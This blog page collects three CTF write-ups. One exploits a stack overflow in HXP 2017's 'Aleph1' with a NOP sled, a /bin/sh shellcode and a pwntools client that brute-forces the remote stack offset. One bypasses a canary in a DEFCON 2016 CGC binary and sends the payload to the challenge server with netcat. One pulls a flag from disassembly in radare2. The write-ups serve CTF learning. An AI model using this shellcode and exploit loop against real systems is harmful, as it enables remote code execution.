Showing posts with label radare2. Show all posts
Showing posts with label radare2. Show all posts

Sunday, November 19, 2017

HXP 2017 - Aleph1

This was a baby's first pwnable challenge inspired by the legendary post Smashing The Stack for Fun and Profit published by aleph1.

In this challenge we get a 64 bit binary and some source!  It's rare to get source in CTF's, this was very generous:


#include 

int main()
{
    char yolo[0x400];
    fgets(yolo, 0x539, stdin);
}

Looks simple enough, a very basic stack overflow on an elf64 binary with no mitigations.
Let's try going through the first crash:

$ ulimit -c unlimited
$ python -c 'print "A"*0x400 + "B"*16' | ./vuln
[1]    16507 done                              python -c 'print "A"*0x400 + "B"*16' |
       16508 segmentation fault (core dumped)  ./vuln
$ gdb vuln core
...
 ► 0x4005f6     ret    <0x4242424242424242>
...

Great! We have an RIP overwrite, now we just need to point to a reliable location on the stack where we have shellcode.

We could put a giant NOPSled leading up to this location since we have ~0x400 bytes to work with.

If we look again in GDB for the saved RIP value before the crash, we can decide which stack address to use, something towards the middle of the buffer will work (0x400/2).

pwndbg> disass main
Dump of assembler code for function main:
   0x00000000004005ca <+0>: push   rbp
   0x00000000004005cb <+1>: mov    rbp,rsp
   0x00000000004005ce <+4>: sub    rsp,0x400
   0x00000000004005d5 <+11>: mov    rdx,QWORD PTR [rip+0x200a54]        # 0x601030 
   0x00000000004005dc <+18>: lea    rax,[rbp-0x400]
   0x00000000004005e3 <+25>: mov    esi,0x539
   0x00000000004005e8 <+30>: mov    rdi,rax
   0x00000000004005eb <+33>: call   0x4004d0 
   0x00000000004005f0 <+38>: mov    eax,0x0
   0x00000000004005f5 <+43>: leave
   0x00000000004005f6 <+44>: ret
End of assembler dump.

pwndbg> b *0x00000000004005f5
Breakpoint 1 at 0x4005f5: file vuln.c, line 7.

pwndbg> r <<< $(python -c 'from pwn import *; print "\x90"*0x400 + "BBBBBBBB" + "AAAAAAAA"')

pwndbg> i f
Stack level 0, frame at 0x7fffffffdfe0:
 rip = 0x4005f5 in main (vuln.c:7); saved rip = 0x4141414141414141
 called by frame at 0x7fffffffdfe8
 source language c.
 Arglist at 0x7fffffffdfd0, args:
 Locals at 0x7fffffffdfd0, Previous frame's sp is 0x7fffffffdfe0
 Saved registers:
  rbp at 0x7fffffffdfd0, rip at 0x7fffffffdfd8

pwndbg> x/gx 0x7fffffffdfd8
0x7fffffffdfd8: 0x4141414141414141

pwndbg> x/gx 0x7fffffffdfd0
0x7fffffffdfd0: 0x4242424242424242

pwndbg> p/x 0x7fffffffdfd8 - (0x400/2)
$1 = 0x7fffffffddd8

Now we have the stack address we're going to target when setting saved RIP: 0x7fffffffddd8.

For x86-64 shellcode, there's a nice minimal one from our teammate @matir here - https://systemoverlord.com/2014/06/05/minimal-x86-64-shellcode-for-binsh/

Putting this all together, we get a long one-line exploit which looks like this:

(python -c 'from pwn import *; print "\x90" * 0x3E7 + "\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x31\xc0\x99\x31\xf6\x54\x5f\xb0\x3b\x0f\x05" + "SAVEDRBP" + p64(0x7fffffffddd8)'; cat) | ./vuln


At this point all we have to do is point to the remote and see if it works!
Unfortunately it does not. It must be the stack offset we used which is different than the server. This is a good time to throw this in a client and start tweaking it for the remote.

#!/usr/bin/env python
import sys, time
from pwn import *

r = remote('35.205.206.137', 1996)

OFFSET = 100
REMOTE = len(sys.argv) > 1
STACK_ADDR = 0x7fffffffddd8
SC = "\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x31\xc0\x99\x31\xf6\x54\x5f\xb0\x3b\x0f\x05"

def main():
  saved_eip = p64(STACK_ADDR + OFFSET)
  r.sendline("\x90" * 0x3E7 + SC + 'SAVEDRBP' + saved_eip)
  r.sendline("cat flag.txt")
  print r.recv(2000)

if __name__ == "__main__":
  main()


Changing the offset manually a few times didn't end up being very useful. Time to automate this!


  for x in xrange(0, 0xffff, 0x7f):
    try:
      saved_eip = p64(STACK_ADDR + x)
      r.sendline("\x90" * 0x3E7 + SC + 'SAVEDRBP' + saved_eip)
      r.sendline("whoami")
      print r.recv(2000)
      print 'FOUND! => {}'.format(hex(STACK_ADDR + x))
    except:
      pass
    time.sleep(0.4)

After a few cycles this quickly showed the ctf user on the remote. It turned out to be +3000 from our local address.

Running an ls on the remote showed a flag.txt, so we just cat that file.


The final client looks like this:


Sunday, May 22, 2016

DEFCON CTF Quals 2016 - Easy Prasky


Our team started by spreading out and tackling separate problems, eventually consolidating into subgroups.

One of the first challenges I started looking at was "easy-prasky". This was in the "Baby's First" section, the bite-size preview challenges that show what's coming ahead.

No description on this one, just a binary and a server to connect to. Pulling down the file we get a tar file that extracts to a binary:

$ tar -xzf easy-prasky.tar.bz2
$ ls -la
  -rw-r--r--   1 user  staff   1.7K May 19 09:47 easy-prasky.tar.bz2
  drwxr-xr-x   3 user  staff   102B May 22 21:07 easy-prasky-with-buffalo-on-bing

$ cd easy-prasky-with-buffalo-on-bing
$ ls -la
  -rwxr-xr-x  1 user  staff   2.3K May 18 18:36 easy-prasky-with-buffalo-on-bing

$ file easy-prasky-with-buffalo-on-bing
  easy-prasky-with-buffalo-on-bing: data


Interesting, just data. Running strings on this we get some more interesting information:

Merino
fffff.
ffff.
fff.
^_[]
SQRV
^ZY[
SQRV
^ZY[
SQRVW
_^ZY[
lddwDrwhkTEBSya_
hacking detected, see ya
canary ok
clang-cgc version 3.4 (9085)
.shstrtab
.text
.rodata
.comment

This looks like some custom format, and clang-cgc seems pretty obvious. It's also worth noting there wasn't much data out of this, it's a somewhat small amount for a binary.

Loading this binary in radare2 we can see it's information:

[0x080486b7]> if
type     EXEC (Executable file)
file     easy-prasky-with-buffalo-on-bing
fd       3
size     0x948
blksz    0x0
mode     -r--
block    0x100
format   cgc
pic      false
canary   false
nx       false
crypto   false
va       true
bintype  elf
class    ELF32
lang     c
arch     x86
bits     32
machine  Intel 80386
os       linux
minopsz  1
maxopsz  16
pcalign  0
subsys   linux
endian   little
stripped true
static   true
linenum  false
lsyms    false
relocs   false
rpath    NONE
binsz    2173


Noticing the format as cgc (also seen from the strings output) it's safe to assume this is probably a CGC binary. This is acting as a preview for the other challenges in the "See Gee Sea" category to be unlocked later in the game.

format   cgc


This was unfortunately, the first time I had looked at any of the CGC challenge details in any depth. (If you're new to the idea of Cyber Grand Challenge at all, check out - http://www.cybergrandchallenge.com/)

Remembering that the challenges run in a VM, I quickly searched for any available open-source material that may be out there. Quickly landed on this page - http://repo.cybergrandchallenge.com/boxes/

Which shows a listing of 3 major files:

  cgc-linux-dev.box 1097696df99f2f6edd85974c3d8d96afb13444c1c3905d6165badf0e50d07ad1
  vm.json d79a4d8e28975b24a518c2acb12195e048c0806ed7a08112f3d48eac0dac80e3
  Vagrantfile ff0f8b4a3996a137d2a6eb7088a632928068425b9c4502f6c754c3f079672d00



This is Great! A Vagrant file to get up and running in no time!

After running vagrant up && vagrant ssh, we were into the cgc environment, loaded with useful binaries and example files to play with.
As the challenge went on, I grew an appreciation for the amount of work that went into this infrastructure. It's a great idea with some solid engineering work poured into it.

Now that we have things setup, let's try executing that binary in this environment to see what happens...
$ ./easy-prasky-with-buffalo-on-bing
anything
canary ok$ 


So we have a little print out that mentions the canary is ok... So it has a stack cookie setup.
What happens if we give it a ton of input:

$ ./easy-prasky-with-buffalo-on-bing
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault


Well that was easy!

Also let's look at what happens when there's a moderate amount of input:

$ ./easy-prasky-with-buffalo-on-bing
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
hacking detected, see ya$


Nice, so we now have Three states of output we can produce.


At this point we decided to pull apart the binary in radare2 finding the canary value which needs to be restored.


 


First noticed that the entry point of each CGC binary has the same structure. Three functions, where the second was the meat of operations performed.

As usual in r2, run aaa and iz to view any obvious strings in the binary:




Seeking to 0x0804880a we hit X in visual mode to see X-Refs & 0 to seek to the first match.


This lead us to the "main" function which called another function for the canary check and exits with "hacking detected" or "canary ok"




We can see ecx being loaded with this odd string found, and edx being loaded with the immediate 4. Also notice that the result of this function determines the type of exit.




Going to 0x080482e0 we see:


In the next graph we see a loop which checks if local_5 is greater than 4 (jge instruction at the top). Then we see on the false path of the jge check, a single byte being checked from the stack against the original canary value.




With this we decided to just try the first four characters of that string acting as the canary.
We ended up with a payload that looked like this:

$ python -c "print 'lddw'*6 + 'AAAA'*6" | ./easy-prasky-with-buffalo-on-bing
canary okSegmentation fault


So this gave us a nice mix of "canary ok" with "Segmentation fault" -- it worked!

Piping this to base64 (required by the remote server) and to netcat ended up dropping the flag!

$ python -c "print 'lddw'*6 + 'AAAA'*6" | base64 | nc easy-prasky_335e35448b30ce7697fbb036cce45e34.quals.shallweplayaga.me 10001


We definitely over-thought this one at first, but it turned out to be very simple.
Big shout-out to @unixist who was my partner-in-crime for this challenge.


Sunday, September 6, 2015

MMA CTF 2015 - cannotberun (80)


Admittedly this one wasn't an interesting process as I didn't have access to any windows boxes or VM's. So it was quickly done in radare2.
$ r2 cannotberun
> s sym.main

Used '<' and '>' hotkeys in radare2 to step through the code a bit, and found an interesting looking block (About 7 pages down):
0000:04f4    40           inc ax
0000:04f5    0938         or word [bx + si], di
0000:04f7    c6400a31     mov byte [bx + si + 0xa], 0x31     ; [0x31:1]=0 ; '1'
0000:04fb    c6400b66     mov byte [bx + si + 0xb], 0x66     ; [0x66:1]=32 ; 'f'
0000:04ff    c6400c73     mov byte [bx + si + 0xc], 0x73     ; [0x73:1]=10 ; 's'
0000:0503    c6400d67     mov byte [bx + si + 0xd], 0x67     ; [0x67:1]=114 ; 'g'
0000:0507    c6400e36     mov byte [bx + si + 0xe], 0x36     ; [0x36:1]=0 ; '6'
0000:050b    ff15         call word [di]
unk(unk, unk) ; section_end..text

Doesn't look big enough to be a flag, but let's try shifting around a little. I usually play with left and arrow keys to see if alignment issues are in place. In this case, it seemed like there were. You'll see the result after shifting to the right amount below:
0000:04d0    c60037       mov byte [bx + si], 0x37           ; [0x37:1]=0 ; '7'
0000:04d3    c6400161     mov byte [bx + si + 1], 0x61       ; [0x61:1]=39 ; 'a'
0000:04d7    c6400233     mov byte [bx + si + 2], 0x33       ; [0x33:1]=0 ; '3'
0000:04db    c6400335     mov byte [bx + si + 3], 0x35       ; [0x35:1]=0 ; '5'
0000:04df    c6400468     mov byte [bx + si + 4], 0x68       ; [0x68:1]=117 ; 'h'
0000:04e3    c6400578     mov byte [bx + si + 5], 0x78       ; [0x78:1]=36 ; 'x'
0000:04e7    c6400662     mov byte [bx + si + 6], 0x62       ; [0x62:1]=116 ; 'b'
0000:04eb    c6400739     mov byte [bx + si + 7], 0x39       ; [0x39:1]=0 ; '9'
0000:04ef    c6400871     mov byte [bx + si + 8], 0x71       ; [0x71:1]=63 ; 'q'
0000:04f3    c6400938     mov byte [bx + si + 9], 0x38       ; [0x38:1]=0 ; '8'
0000:04f7    c6400a31     mov byte [bx + si + 0xa], 0x31     ; [0x31:1]=0 ; '1'
0000:04fb    c6400b66     mov byte [bx + si + 0xb], 0x66     ; [0x66:1]=32 ; 'f'
0000:04ff    c6400c73     mov byte [bx + si + 0xc], 0x73     ; [0x73:1]=10 ; 's'
0000:0503    c6400d67     mov byte [bx + si + 0xd], 0x67     ; [0x67:1]=114 ; 'g'
0000:0507    c6400e36     mov byte [bx + si + 0xe], 0x36     ; [0x36:1]=0 ; '6'

This Looked more promising.
Pasted this in vim, and did the following to clean the data:
%s/; //g
%s/'//g
%s/\n//g

Wrap this data in the flag format, and we've got a valid flag!
MMA{7a35hxb9q81fsg6}